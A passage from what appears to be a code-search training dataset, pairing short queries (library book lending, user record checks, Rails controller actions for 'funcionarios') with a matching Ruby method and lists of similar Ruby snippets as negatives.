"def destroy\n @specimen_test = SpecimenTest.find(params[:id])\n @specimen_test.destroy\n\n respond_to do |format|\n format.html { redirect_to specimen_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @selftest = Selftest.find(params[:id])\n @selftest.destroy\n\n respond_to do |format|\n format.html { redirect_to selftests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_test = UserTest.find(params[:id])\n @user_test.destroy\n\n respond_to do |format|\n format.html { redirect_to user_tests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @section_test = SectionTest.find(params[:id])\n @section_test.destroy\n\n respond_to do |format|\n format.html { redirect_to section_tests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @surveytest.destroy\n respond_to do |format|\n format.html { redirect_to surveytests_url, notice: 'Surveytest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @two_test = TwoTest.find(params[:id])\n @two_test.destroy\n\n respond_to do |format|\n format.html { redirect_to two_tests_url }\n format.json { head :no_content }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
add some books into inventory
|
def purchase_books(newbooks)
newbooks.each {|book, number| inventory[book] = number}
end
|
[
"def addBook(book)\n\t\tinventories.create(book_id: book.id)\n\tend",
"def add_to_inventory(item)\n @inventory.push(item)\n update\n end",
"def add_book(book)\n @books << book\n puts \"We have just added the following NEW book '#{book.title}' to the Library\"\n end",
"def add(book)\n\t\t @books << book\n\tend",
"def add_inventory(items)\n items.each {|item| \n @inventory << item\n puts \"#{item.name} added to inventory\"\n }\n end",
"def add(book_id, amount = 1)\n items = cart_items.find_by_book_id book_id\n puts items\n book = Book.find book_id\n if items.nil?\n ci = cart_items.create(:book_id => book_id, :amount => amount, :price => book.price)\n else\n ci = items\n ci.update_attribute(:amount, ci.amount + amount)\n end\n ci\n end",
"def add_books(books)\n books.each do |book|\n @books.push(book)\n end\n end",
"def add( book )\n @books.add( Books::Book.new( book ))\n end",
"def add_book(book)\n @books << book\n puts \"#{book.title} was added\"\n end",
"def add_item(barcode, name, price)\n @barcodes << barcode\n @names << name\n @prices << price\n end",
"def add_book(book_title)\n @books << {\n title: book_title,\n rental_details: {\n student_name: \"\",\n date: \"\"\n }\n }\n end",
"def add_book(book)\n @books_checked_out << book # Pushes book into my checked out empty array.\n puts \"you have checked out #{book.name} from the Library!\"\n end",
"def reserve(book_copy)\n reserving << book_copy\n end",
"def take_books\n order_items.each do |item|\n item.book.books_in_stock -= item.quantity\n item.book.save\n end\n end",
"def add_car(car_to_add)\n @inventory << car_to_add\n end",
"def add_book(title)\n new_book = {\n title: title,\n rental_details: {\n student_name: \"\",\n date: \"\"\n }\n }\n @books.push(new_book)\n return @books.length\n end",
"def register_new_book(title, author)\n created_book = Book.new(title, author)\n @books.push(created_book)\n @available_books.push(created_book)\n created_book.id = created_book.object_id\n end",
"def <<(book)\n @books << book\n end",
"def add_book author, title\n books = @books[author]\n if books\n if books.include? title\n puts \"That book is already in the system\"\n else\n books << title\n end\n else\n puts \"No such author\"\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Create a new record for current transaction One record is created for one book. Every user can only borrow a book for 60 days.
|
def add_a_record(user, book)
now = DateTime.now.to_date
borrow_days = 60
due = now + borrow_days
@records << Record.new(user.id, book.isbn, now, due)
puts "Successfully lend <#{book.title}> to #{user.name}. Due:#{due}"
end
|
[
"def create\n @book_transaction = BookTransaction.new(book_transaction_params)\n if @book_transaction.save\n flash[:notice] = \"Transaction saved successfully\"\n redirect_to books_url\n else\n render \"new\"\n end\n end",
"def create\n @account_book = AccountBook.create(account_book_params)\n set_after_account_book\n end",
"def create_book\n Book.new(self)\n end",
"def create_booking(table)\n booking = Booking.new(table_id: table.id,\n start_time: @start_date,\n end_time: @end_date,\n length: params[:hours],\n user_id: current_user.id)\n booking.table = table\n booking.save\n end",
"def create_object\n Book.create(title: @book.title, author: @book.author, price: @book.price, shipping_weight: @book.shipping_weight, isbn_10: @book.isbn10)\n end",
"def create_new_booking_oct(customer, space)\n new_booking = Booking.new\n new_booking.user = customer\n new_booking.space = space\n new_booking.date_start = DateTime.strptime(\"10/14/2019\", \"%m/%d/%Y\")\n new_booking.date_end = DateTime.strptime(\"10/14/2019\", \"%m/%d/%Y\")\n return new_booking\nend",
"def create\n # need to check if report for selected month/year exists yet and create it if not\n transaction_date = Time.parse(transaction_params[:transaction_date])\n report = current_user\n .reports\n .find_or_create_by(:month => transaction_date.month, :year => transaction_date.year) do |report|\n report.total_amount = 0.00\n report.report_date = transaction_params[:transaction_date]\n end\n \n # can now add a transaction\n @transaction = current_user.transactions.new(\n note: transaction_params[:note], \n amount: transaction_params[:amount], \n transaction_date: transaction_params[:transaction_date],\n transaction_category_id: transaction_params[:transaction_category_id],\n report_id: report.id\n )\n\n if @transaction.save\n redirect_to transaction_path(@transaction), notice: \"Transaction Added!\"\n else\n @errors = @transaction.errors.full_messages\n render :new\n end\n end",
"def generate_booking\n start_date = Time.now - rand(15552000)\n end_date = start_date + rand(100000..1000000)\n new_booking = Booking.new ({\n user_id: rand(55..95),\n apartment_id: rand(1..45),\n price_total: rand(0..100000),\n enter_date: start_date,\n exit_date: end_date\n })\n p \"Booking: #{new_booking}\"\n new_booking.save\n generate_review(new_booking)\nend",
"def register_loan\n Log.create(\n user: User.current,\n book: self,\n classification: Log.classifications[:book_loan],\n date: DateTime.now,\n due_date: 3.weeks.from_now\n )\n self.previous_status = status\n end",
"def create_transaction\n category = FinanceTransactionCategory.find_by_name('Donation')\n transaction = category.finance_transactions.create(title: donor\\\n , description: description, amount: amount\\\n , transaction_date: transaction_date)\n update(finance_transaction_id: transaction.id)\n end",
"def create_advance_fee_transaction_record\n receipt_template_id = fetch_reciept_template_config.present? ? fetch_reciept_template_config.fee_receipt_template_id : nil\n fees_account_id = fetch_account_config.present? ? fetch_account_config.fee_account_id : nil\n p_count = Configuration.precision_count\n a_f_t_receipt_record = AdvanceFeeTransactionReceiptRecord.new(:advance_fee_collection_id => self.id, :transaction_receipt_id => self.transaction_receipt_id,\n :fee_account_id => fees_account_id, :fee_receipt_template_id => receipt_template_id,\n :precision_count => p_count, :receipt_data => self.receipt_data)\n a_f_t_receipt_record.save\n end",
"def create_booking(params)\n raise NotImplementedError\n end",
"def create\n @borrowed_book = BorrowedBook.new(borrowed_book_params)\n respond_to do |format|\n if @borrowed_book.save\n borrow(@borrowed_book)\n format.html { redirect_to @borrowed_book, notice: 'Borrowed book was successfully created.' }\n format.json { render :show, status: :created, location: @borrowed_book }\n else\n format.html { render :new }\n format.json { render json: @borrowed_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_loan\n book = Book.find(params[:book_id])\n book_loan = Log.create!(user: current_user, book: book, classification: Log.classifications[:book_loan],\n date: DateTime.now, due_date: 3.weeks.from_now)\n render json: book_loan, book_loan: true, status: :created\n end",
"def create\n @book = Book.find(params[:id])\n authorize @book, :rent?\n @rental = Rental.create(book: @book, user: current_user)\n\n if @rental.save\n redirect_to books_url, notice: 'Book was successfully rented.'\n else\n redirect_to books_url, notice: 'Could not rent a book'\n end\n end",
"def create\n @booking = Booking.new(booking_params)\n \n unless params[:subject_id].empty?\n @subject = Subject.find(params[:subject_id])\n end\n # TODO date and time validation\n begin\n date = (params['date_part'] + \" \" + params['time_part']).to_datetime\n rescue ArgumentError\n @booking.errors.add(:date, \"is invalid\")\n date = Date.new\n end\n @booking.booking_date = date\n # TODO: Refactor for admin booking creation\n @booking.shared = params[\"shared\"]\n @booking.subject = @subject\n # Add this customer as owner. \n @booking.creator = current_user.customer\n @booking.customers << current_user.customer\n @booking.booked_customers.first.number_students = params[:booking][:booked_customers][:number_students]\n @booking.period = 2\n \n # Create closed booking if customer came from searching or enquiring.\n if params[:presenter_id].present?\n presenter = Presenter.find(params[:presenter_id])\n if presenter.available? @booking.booking_date, @booking.duration_minutes\n @booking.chosen_presenter = Presenter.find(params[:presenter_id])\n @booking.rate = presenter.rate\n @booking.creator = current_user.customer\n else\n @booking.errors.add(:presenter, \"is not available at this time\")\n end\n end \n \n if @booking.save\n # Only send messages to customers if booking is shared\n @message = \"A new #{@booking.subject.name} booking has been created that you may be interested in.\"\n if @booking.shared?\n Notification.notify_applicable_users(current_user, @booking, \"customer\", booking_path(@booking), @message, :interested_booking)\n end\n # Only send messages to presenters if booking is open\n if @booking.chosen_presenter.nil?\n Notification.notify_applicable_users(current_user, @booking, \"presenter\", booking_path(@booking), @message, :interested_booking)\n end\n Notification.notify_admin(\"A new booking has been created\", booking_path(@booking), :booking)\n\n # Add booking to booked customers\n current_user.customer.created_bookings << @booking\n\n #clear search session \n session[:search_params] = nil\n redirect_to @booking\n else\n @date_part = params['date_part']\n @time_part = params['time_part']\n render :new\n end\n\n end",
"def create\n @borrow_record = BorrowRecord.new(borrow_record_params)\n respond_to do |format|\n if @borrow_record.save\n format.html { redirect_to @borrow_record, notice: 'Borrow record was successfully created.' }\n format.json { render :show, status: :created, location: @borrow_record }\n else\n format.html { render :new }\n format.json { render json: @borrow_record.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @library_book_transaction = LibraryBookTransaction.new(params[:library_book_transaction])\n\n respond_to do |format|\n if @library_book_transaction.save\n format.html { redirect_to @library_book_transaction, notice: 'Library book transaction was successfully created.' }\n format.json { render json: @library_book_transaction, status: :created, location: @library_book_transaction }\n else\n format.html { render action: \"new\" }\n format.json { render json: @library_book_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_transaction\n Transaction.new(\n @bank,\n @certificates,\n player,\n [proceeds]\n )\n reduce_prices\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Check records of a user.
|
def check_records(user)
@records.select{|record| !record.has_return && record.user_id == user.id}.each do |record|
@inventory.each do |book,value|
if book.isbn == record.book_isbn then
puts "=> Warning! \n"
puts "#{user.name} borrowed <#{book.title}> on #{record.borrow_date}, #{user.name} has to return it before #{record.due}."
end
end
end
end
|
[
"def check_user\n if current_user != @record.user\n redirect_to root_url, alert: \"Sorry, this Record belongs to someone else\"\n end\n end",
"def checkUser(user)\n\treturn getAllUsersWithRoster().include?(user)\nend",
"def own?\r\n @user.id == @record.user_id\r\n end",
"def check_search_user\n\t\tif params[:search_user_id]\n\t\t\tif User.pluck(:id).include?(params[:search_user_id].to_i)\n\t\t\t\ttrue\n\t\t\telse\n\t\t\t\tflash[:notice] = \"User submitted is not valid\"\n\t\t\t\tfalse\n\t\t\tend\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def valid_user?(user_id)\n user_ids.include?(user_id)\nend",
"def User?(_Id, _Pwd)\r\n _Flag = 0\r\n _Users = YAML.load(File.read(\"_User_Info.yml\"))\r\n if _Users[-1] == nil\r\n\r\n else\r\n _Users.each do |user|\r\n if _Id.to_i == user[:ID] && _Pwd == user[:Password]\r\n _Flag = 1 #existing user with matching password\r\n puts \"Welcome back #{user[:Name]}!!\"\r\n elsif _Id.to_i == user[:ID]\r\n _Flag = 2 #exisiting user ID\r\n end\r\n end\r\n end\r\n return _Flag\r\nend",
"def user_in_system\n\t\t# seems risky, but will be caught by numericality validations and if this isn't here it blows up\n\t\t# my shoulda matchers in attendance_test.rb\n\t\treturn true if self.user_id.nil?\n\t\tuser_ids = User.all.map { |user| user.id }\n\t\tunless user_ids.include?(self.user_id)\n\t\t\terrors.add(:user, 'is not recognized by the system')\n\t\t\treturn false\n\t\tend\n\t\ttrue\n\tend",
"def User?(_Id, _Pwd)\r\n _Flag = 0\r\n _Users = YAML.load(File.read(\"_User_Info.yml\"))\r\n #puts \"_Users: #{_Users}\"\r\n if !(_Users)\r\n else\r\n\r\n _Users.each do |user|\r\n if user.has_value?(_Id.to_i) && user.has_value?(_Pwd)\r\n _Flag = 1 #existing user with matching password\r\n puts \"Welcome back #{user[:Name]}!!\"\r\n end\r\n end\r\n end\r\n return _Flag\r\nend",
"def user_id_exists\n begin\n User.find(self.user_id)\n rescue ActiveRecord::RecordNotFound\n errors.add(:user_id,'wrong user id')\n false\n end\n end",
"def checkData(iUserID, iComment)\n # Nothing to test\n end",
"def index\n puts \"index params = #{params}\"\n if params[:user_id]\n @recordings = current_user.recordings\n else\n flash[:notice] = \"You can only view recordings from your account.\"\n redirect_to user_path(current_user)\n end\n end",
"def has_user username\n case isprivate\n when 1\n !ContestUser.where(username: username, cid: cid).empty?\n when 2\n # TODO: Password type\n false\n else\n true\n end\n end",
"def user_created?(user)\n ensure_on accounts_path\n\n within(users_table) do\n page.has_content?(user.email)\n end\n end",
"def check_init\n\t\tu = User.find_by(jive_id: params[:user])\n\t\tif u and u.jive_id > 0\n\t\t\trespond({ status: 0, message: \"User exists\", user: u, client: u.client })\n\t\telsif u\n\t\t\tif u.jive_id > 0\n\t\t\t\trespond({ status: 1, error: \"User is not in DB.\" })\n\t\t\telse\n\t\t\t\trespond({ status: 1, error: \"User needs a Jive ID.\" })\n\t\t\tend\n\t\telse\n\t\t\trespond({ status: 1, error: \"User not found.\" })\n\t\tend\n\tend",
"def verify_users(test_data)\n users = test_data[UseOfCollections::USER_GRP.name] || [UseOfCollections.empty_user]\n users.each_with_index do |user, index|\n verify_values_match(user[UseOfCollections::USER.name], element_value(user_name_input index))\n verify_values_match(user[UseOfCollections::USER_INSTITUTION_ROLE.name], element_value(user_type_input index))\n verify_values_match(user[UseOfCollections::USER_UOC_ROLE.name], element_value(user_role_input index))\n verify_values_match(user[UseOfCollections::USER_INSTITUTION.name], element_value(user_institution_input index))\n end\n end",
"def user_checks\n current_user = @current_package.user\n current_ability = Ability.new(current_user)\n errors = []\n errors = check_current_user(current_user, errors)\n return errors unless errors.empty?\n errors << \"User does not exist in the system: #{@current_package.manifest.email}.\" if current_user.nil?\n errors << \"User #{current_user.user_key} does not have permission to add items to collection: #{collection.name}.\" unless current_ability.can?(:read, collection)\n errors\n end",
"def user?(user)\n user.blank? and return false\n unless user.is_a?(UserInfo) # user is supposed to be given by its id.\n user = UserInfo.find(user.to_i)\n end\n user.is_a?(UserInfo) \n end",
"def check_availability!\n Connector.check_availability!(@user, @provider_name)\n end",
"def username_checker(db, username)\n\tunique = db.execute(\"SELECT * FROM renters\")\n\tunique.each do |user|\n\t\tif user[2] == username\n\t\t\treturn false\n\t\tend\n\tend\nend"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /admin/funcionarios/1 GET /admin/funcionarios/1.json
|
def show
@funcionario = Funcionario.find(params[:id])
respond_with @funcionario, :location => admin_funcionario_path
end
|
[
"def show\n @funcionario = Funcionario.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funcionario }\n end\n end",
"def show\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @funcionario }\n end\n end",
"def index\n @funcionarios = Funcionario.all\n end",
"def index\n @funcions = Funcion.all\n render json: @funcions, status: :ok \n end",
"def index\n @ferias_funcionarios = FeriasFuncionario.all\n end",
"def index\n @tipo_funcionarios = TipoFuncionario.all\n end",
"def new\n @funcionario = Funcionario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @funcionario }\n end\n end",
"def new\n @funcionario = Funcionario.new\n localidad_new\n @estados_funcionarios=EstadosFuncionario.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @funcionario }\n end\n end",
"def index\n @funcionarios = Funcionario.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @funcionarios }\n end\n end",
"def index\n @diretorios = Diretorio.where(pessoa_id: params[:usuario]).first\n render json: @diretorios\n end",
"def destroy\n @funcionario = Funcionario.find(params[:id])\n @funcionario.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_funcionarios_url }\n format.json { head :no_content }\n end\n end",
"def index\n @filmes = Filme.where(ativo: true, usuario_id: current_usuario.id)\n \trender json: @filmes.map(&:encode)\n end",
"def show\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @funcionario }\n end\n end",
"def index\n @unidades = Unidade.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @unidades, :location => admin_unidades_path }\n end\n end",
"def create\n @funcionario = Funcionario.new(funcionario_params)\n respond_to do |format|\n if @funcionario.save\n format.html { redirect_to @funcionario, notice: 'FuncionΓ‘rio cadastrado com sucesso' }\n format.json { render :show, status: :created, location: @funcionario }\n else\n format.html { render :new }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @comentarios_admin = ComentariosAdmin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comentarios_admin }\n end\n end",
"def index\n @solicitacaos = Solicitacao.find(:all, :conditions => {:usuario_id => current_usuario.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @solicitacaos }\n end\n end",
"def new\n @funcionario = Funcionario.new\n @funcionario.contato_telefones.build\n respond_with @funcionario, :location => new_admin_funcionario_path\n end",
"def create\n @funcionario = Funcionario.new(funcionario_params)\n\n respond_to do |format|\n if @funcionario.save\n format.html { redirect_to @funcionario, notice: 'Funcionario foi cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @funcionario }\n else\n format.html { render :new }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
GET /admin/funcionarios/new GET /admin/funcionarios/new.json
|
def new
@funcionario = Funcionario.new
@funcionario.contato_telefones.build
respond_with @funcionario, :location => new_admin_funcionario_path
end
|
[
"def new\n @funcionario = Funcionario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @funcionario }\n end\n end",
"def new\n @funcionario = Funcionario.new\n localidad_new\n @estados_funcionarios=EstadosFuncionario.all\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @funcionario }\n end\n end",
"def new\n @funcionario = Funcionario.new\n @funcionario.pessoa = Pessoa.new\n \n #respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @funcionario }\n #end\n end",
"def create\n @tipo_funcionario = TipoFuncionario.new(tipo_funcionario_params)\n\n respond_to do |format|\n if @tipo_funcionario.save\n format.html { redirect_to @tipo_funcionario, notice: 'Tipo funcionario was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tipo_funcionario }\n else\n format.html { render action: 'new' }\n format.json { render json: @tipo_funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @funcionario = Funcionario.new(funcionario_params)\n respond_to do |format|\n if @funcionario.save\n format.html { redirect_to @funcionario, notice: 'FuncionΓ‘rio cadastrado com sucesso' }\n format.json { render :show, status: :created, location: @funcionario }\n else\n format.html { render :new }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @funcionario = Funcionario.new(funcionario_params)\n\n respond_to do |format|\n if @funcionario.save\n format.html { redirect_to @funcionario, notice: 'Funcionario foi cadastrado com sucesso.' }\n format.json { render :show, status: :created, location: @funcionario }\n else\n format.html { render :new }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @funcao = Funcao.new(funcao_params)\n\n respond_to do |format|\n if @funcao.save\n format.html { redirect_to @funcao, notice: 'Funcao was successfully created.' }\n format.json { render :show, status: :created, location: @funcao }\n else\n format.html { render :new }\n format.json { render json: @funcao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @new = true\n @administrativo = Administrativo.new\n @administrativo.build_user\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @administrativo }\n end\n end",
"def new\n @funcionario = Funcionario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @funcionario }\n end\n end",
"def create\n @funcionario = Funcionario.new(funcionario_params)\n\n respond_to do |format|\n if @funcionario.save\n format.html { redirect_to @funcionario, notice: \"Funcionario was successfully created.\" }\n format.json { render :show, status: :created, location: @funcionario }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @funcionario = Funcionario.new(params[:funcionario])\n\n respond_to do |format|\n if @funcionario.save\n flash[:notice] = 'Funcionario was successfully created.'\n format.html { redirect_to(@funcionario) }\n format.xml { render :xml => @funcionario, :status => :created, :location => @funcionario }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @funcionario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @new = true\n @docente = Docente.new\n @docente.build_user\n atributos\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @docente }\n end\n end",
"def new\n @registro = Registro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @registro }\n end\n end",
"def new\n @acoes_funcionarios = AcaoFuncionario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @acoes_funcionarios }\n end\n end",
"def new\n @filo = Filo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filo }\n end\n end",
"def new\n @tipo_usuario = TipoUsuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_usuario }\n end\n end",
"def new\n @registro = Registro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @registro }\n end\n end",
"def new\n @falla = Falla.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @falla }\n end\n end",
"def new\n @tipo_plan = TipoPlan.new\n @accion = 'create'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tipo_plan }\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
PUT /admin/funcionarios/1 PUT /admin/funcionarios/1.json
|
def update
@funcionario = Funcionario.find(params[:id])
respond_to do |format|
if @funcionario.update_attributes(params[:funcionario])
format.html { redirect_to [:admin, @funcionario], notice: 'Funcionario Atualizado com sucesso.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @funcionario.errors, status: :unprocessable_entity }
end
end
end
|
[
"def update\n # render text: params.inspect\n respond_to do |format|\n if @funcionario.update(funcionario_params)\n @funcionario.usuario.update_attributes(tipo: params[:funcionario][:usuarios][:tipo], nome: @funcionario.apelido)\n format.html { redirect_to area_funcionarios_path(@funcionario.area), notice: 'O FuncionΓ‘rio foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n if @funcionario.update_attributes(params[:funcionario])\n format.html { render :json => {:success => true} }\n format.xml { render :xml => @funcionario, :status => :created, :location => @funcionario }\n else\n format.html { render :json => ( (@funcionario.errors.full_messages.join(\".<br />\").to_s + \".\").to_json ) } unless @funcionario.errors.empty?\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_funcionario.update(tipo_funcionario_params)\n format.html { redirect_to @tipo_funcionario, notice: 'Tipo funcionario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipo_funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n if @funcionario.update_attributes(params[:funcionario])\n flash[:notice] = 'Funcionario was successfully updated.'\n format.html { redirect_to(@funcionario) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @funcionario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @equipe_funcao.update(equipe_funcao_params)\n format.html { redirect_to admin_equipe_funcoes_path, notice: 'Equipe foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n get_dependencies\n format.html { render action: 'edit' }\n format.json { render json: @equipe_funcao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @funcion.update(funcion_params)\n format.html { redirect_to @funcion, notice: 'Funcion was successfully updated.' }\n format.json { render :show, status: :ok, location: @funcion }\n else\n format.html { render :edit }\n format.json { render json: @funcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @acoes_funcionarios = AcaoFuncionario.find(params[:id])\n\n respond_to do |format|\n if @acoes_funcionarios.update_attributes(params[:acoes_funcionarios])\n flash[:notice] = 'AcaoFuncionario was successfully updated.'\n format.html { redirect_to(@acoes_funcionarios) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @acoes_funcionarios.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ferias_funcionario.update(ferias_funcionario_params)\n format.html { redirect_to @ferias_funcionario, notice: 'Ferias funcionario was successfully updated.' }\n format.json { render :show, status: :ok, location: @ferias_funcionario }\n else\n format.html { render :edit }\n format.json { render json: @ferias_funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @oficio_prefeitura.update(oficio_prefeitura_params)\n respond_with( [ :admin, @oficio_prefeitura] )\n end",
"def update\n respond_to do |format|\n if @funcionarios_turma.update(funcionarios_turma_params)\n format.html { redirect_to @funcionarios_turma, notice: 'Funcionarios turma was successfully updated.' }\n format.json { render :show, status: :ok, location: @funcionarios_turma }\n else\n format.html { render :edit }\n format.json { render json: @funcionarios_turma.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @funcao_transacional.update(funcao_transacional_params)\n format.html { redirect_to @funcao_transacional, notice: 'Funcao transacional was successfully updated.' }\n format.json { render :show, status: :ok, location: @funcao_transacional }\n else\n format.html { render :edit }\n format.json { render json: @funcao_transacional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n authorize @activo_fijo\n if @activo_fijo.update(activo_fijo_params)\n format.html { redirect_to @activo_fijo, notice: 'ActivoFijo was successfully updated.' }\n format.json { render :show, status: :ok, location: @activo_fijo }\n else\n format.html { render :edit }\n format.json { render json: @activo_fijo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico.update(servico_params)\n format.html { redirect_to admin_pessoa_servicos_path(@pessoa), notice: 'ServiΓ§o foi atualizada com sucesso.' }\n format.json { head :no_content }\n else\n get_dependencies\n format.html { render action: 'edit' }\n format.json { render json: @servico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :editar, @usuario_prestamo\n respond_to do |format|\n if @usuario_prestamo.update(usuario_prestamo_params)\n format.html { redirect_to @usuario_prestamo, notice: 'La informaciΓ³n del usuario de prΓ©stamos ha sido modificada correctamente' }\n format.json { render :show, status: :ok, location: @usuario_prestamo }\n else\n format.html { render :edit }\n format.json { render json: @usuario_prestamo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_function.update(admin_function_params)\n format.html { redirect_to @admin_function, notice: 'Function was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_function }\n else\n format.html { render :edit }\n format.json { render json: @admin_function.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @fio_titulo.update(fio_titulo_params)\r\n format.html { redirect_to fio_titulo_path(@fio_titulo), notice: 'Materia prima atualizada com sucesso.' }\r\n format.json { render :show, status: :ok, location: @fio_titulo }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @fio_titulo.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @cms_function.update(cms_function_params)\n format.html { redirect_to cms.functions_url, notice: 'εθ½ε·²ζ΄ζ°.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cms_function.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*a) route 'PUT', *a end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
DELETE /admin/funcionarios/1 DELETE /admin/funcionarios/1.json
|
def destroy
@funcionario = Funcionario.find(params[:id])
@funcionario.destroy
respond_to do |format|
format.html { redirect_to admin_funcionarios_url }
format.json { head :no_content }
end
end
|
[
"def destroy\n @funcionario = Funcionario.find(params[:id])\n @funcionario.destroy\n\n respond_to do |format|\n format.html { redirect_to funcionarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funcionario.destroy\n respond_to do |format|\n format.html { redirect_to funcionarios_url, notice: 'FuncionΓ‘rio apagado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tipo_funcionario.destroy\n respond_to do |format|\n format.html { redirect_to tipo_funcionarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @funcionario = Funcionario.find(params[:id])\n @funcionario.destroy\n\n respond_to do |format|\n format.html { redirect_to(funcionarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @core_fiel_depositario = Core::FielDepositario.find(params[:id])\n @core_fiel_depositario.destroy\n\n respond_to do |format|\n format.html { redirect_to core_fiel_depositarios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @asignatura.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
